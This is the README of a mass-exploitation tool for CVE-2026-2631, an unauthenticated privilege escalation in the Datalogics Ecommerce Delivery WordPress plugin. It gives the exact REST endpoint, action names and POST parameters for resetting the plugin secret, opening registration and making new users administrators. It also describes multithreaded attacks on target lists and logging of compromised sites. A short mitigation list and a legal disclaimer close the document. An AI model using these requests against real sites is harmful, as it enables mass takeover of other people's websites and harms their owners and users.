CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Unauthenticated Privilege Escalation

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – Unauthenticated Privilege Escalation

PoC / Exploit Script: CVE-2026-2631.py
Author: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Contact: Telegram: @Kxploit

🧬 Vulnerability Overview

• Plugin: Datalogics Ecommerce Delivery – Datalogics (WordPress)
• Affected Versions: < 2.6.60 (exclusive)
• Vulnerability Type: Unauthenticated Privilege Escalation
• CVE: CVE-2026-2631
• CVSS v3.1: 9.8 (Critical)
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Publicly Published: March 12, 2026
• Last Updated: March 19, 2026
• Researcher: Khaled Alenazi (Nxploited)

The Datalogics Ecommerce Delivery – Datalogics plugin exposes an unauthenticated endpoint:

/wp-json/gsf/v1/update-options

This script abuses that endpoint to:

1. 💣 Reset the internal shop_secret key using the vulnerable resetStoreConfigrations action.
2. 🔓 Enable user registration: users_can_register = 1.
3. 👑 Set the default new user role to administrator: default_role = administrator.
4. 🧑‍💻 Auto-register a new user via WordPress registration form:
   • wp-login.php?action=register

If successful, any new user created through the registration form will be an administrator.

⚙️ Features

• ✅ Mass exploitation against multiple WordPress targets (from a file).
• ✅ Unauthenticated (no login/cookies required).
• ✅ Automatic shop_secret reset via vulnerable REST endpoint.
• ✅ Auto WordPress option update:
  • users_can_register = 1
  • default_role = administrator
• ✅ Automatic account registration with custom credentials.
• ✅ Rich TUI output using rich (colored and live-updating table).
• ✅ Multithreaded with adjustable thread count.
• ✅ Result logging to Login_admin.txt.

📦 Requirements

🐍 Runtime

• Python 3.x (recommended 3.8+)

📚 Python Packages

Install required packages:

pip install -r requirements.txt

Example requirements.txt:

requests
rich
urllib3

Or install manually:

pip install requests rich urllib3

🧪 Script Logic (High Level Flow)

For each target:

1. Normalize URL

   • Ensures http:// is prepended if missing.
   • Strips trailing slashes.

2. Reset shop_secret

   • Endpoint:
     /wp-json/gsf/v1/update-options
   • POST data:
     • action = resetStoreConfigrations
     • shop_secret = <new_secret>
   • Looks for response text:
     • app secret key has been updated successfully

3. Update WordPress Options

   • Same endpoint, with:
     • action = createUpdateOption
   • Two option updates:
     1. option_key = users_can_register, option_value = 1
     2. option_key = default_role,

🧵 Multithreading Model

• Reads all targets from list.txt (or custom file).
• Splits targets into N chunks using chunkify.
• Launches N worker threads, each processing its own list of targets.
• Uses a shared Queue for status messages to the printer thread.
• A dedicated printer thread (printer_loop) updates a live rich table:
  • Shows index, site, status (SUCCESS/FAILED/ERROR), and detail.
  • Displays total processed and output filename.

🚀 Usage

1️⃣ Basic Run

python3 CVE-2026-2631.py

You’ll be interactively prompted for:

1. Targets file

   • Prompt: Targets file (one host/URL per line) [list.txt]:
   • Default: list.txt
   • Each line: domain or full URL
     • Examples:
       • victim.com
       • https://target-site.com
       • http://example.org/blog

2. Threads

   • Prompt: Threads (1-50) [10]:
   • Default: 10
   • Max: 50
     More threads = faster, but higher load on your system and targets.

3. shop_secret value

   • Prompt: shop_secret [Nxploited_newSecret]:
   • Default: Nxploited_newSecret
     This is the new secret key sent to resetStoreConfigrations.

These creds will be used for the registration attempt on each vulnerable target.

2️⃣ Targets File Format

Create list.txt (or any file you want) with one target per line:

example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

The script will:

• Auto-add http:// if missing.
• Remove trailing /.

3️⃣ Output & Results

• All successful operations (even if user registration fails but options are set) are written to:

  Login_admin.txt

• A typical line:

  root@kitploit:~

  http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
  

• Examples of status in the live table:

  • ✅ SUCCESS – options set and/or user registered.
  • ❌ FAILED – reset/options failed, vulnerability not exploitable.
  • ⚠️ ERROR – Exception, network errors, timeouts, etc.

🧱 HTTP Endpoints & Parameters

🔓 Vulnerable REST Endpoint

POST /wp-json/gsf/v1/update-options

1. Reset shop_secret

action=resetStoreConfigrations
shop_secret=<new_secret>

2. Update Options

action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1

action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 Registration Endpoint

GET/POST /wp-login.php?action=register

The script:

• Extracts _wpnonce if present.
• Sends registration data with the provided username, email, and password (if fields exist).

🔧 Script Internals (Key Functions)

• normalize_site(raw: str) -> str
  Normalizes target URLs.

• send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
  Tries the resetStoreConfigrations action.

• send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
  Sets WordPress options via the vulnerable endpoint.

• check_registration_open(site: str, timeout: int = 10) -> (bool, str)
  Checks if registration is open and form is accessible.

• try_register_user(...) -> (bool, str)
  Attempts to register the supplied user.

• write_success_line(site: str, secret: str, detail: str)
  Logs success details into Login_admin.txt.

• worker(...)
  Per-thread worker that:

  1. Resets shop_secret

🧪 Example Run (Interactive)

$ python3 CVE-2026-2631.py

[Banner / ASCII Art]

Targets file (one host/URL per line) [list.txt]:
> list.txt

Threads (1-50) [10]:
> 20

shop_secret [Nxploited_newSecret]:
> NxSecret2026!

Registration username [Nx_test1]:
> admin_nx

Registration email [[email protected]]:
> [email protected]

Registration password [Nx_adminSA]:
> SuperStrongP@ss!

[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt

Done. Successful sites (if any) saved to Login_admin.txt.

🛡️ Mitigation & Recommendations

For Defenders / Site Owners:

• 🔁 Update the plugin to version 2.6.60 or later immediately.
• 🧹 Review:
  • WordPress users list for unknown administrators.
  • Recent registrations in wp_users.
• 🔑 Regenerate any secrets or keys used by the plugin.
• 📜 Inspect access logs for hits to:
  • /wp-json/gsf/v1/update-options
  • /wp-login.php?action=register
• 🧱 Consider WAF rules to block unauthorized access to sensitive REST endpoints.

⚠️ Legal Disclaimer

This script is provided strictly for educational and authorized security testing purposes only.

• You must not use this tool on any system, application, or network without explicit written permission from the owner.
• Unauthorized access, exploitation, or abuse of vulnerabilities is illegal and may result in criminal charges.
• The author (Khaled Alenazi – Nxploited), contributors, and distributors of this script:
  • ❌ Do NOT assume any responsibility or liability for:
    • Misuse of this code
    • Damage caused directly or indirectly
    • Any legal consequences resulting from its use
• By using this script, you agree that:
  • You are solely responsible for your actions.
  • You will comply with all applicable local, national, and international laws and regulations.
  • You will use this tool only in controlled environments and/or with proper authorization (PT/Red Team, bug bounty, lab, etc.).

If you do not agree with these terms, do not use this script.

❤️ Credits

• Research & Exploit:
  • Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
• CVE: CVE-2026-2631
• Contact: @Kxploit on Telegram

Stay safe, hack responsibly. 🕶️💻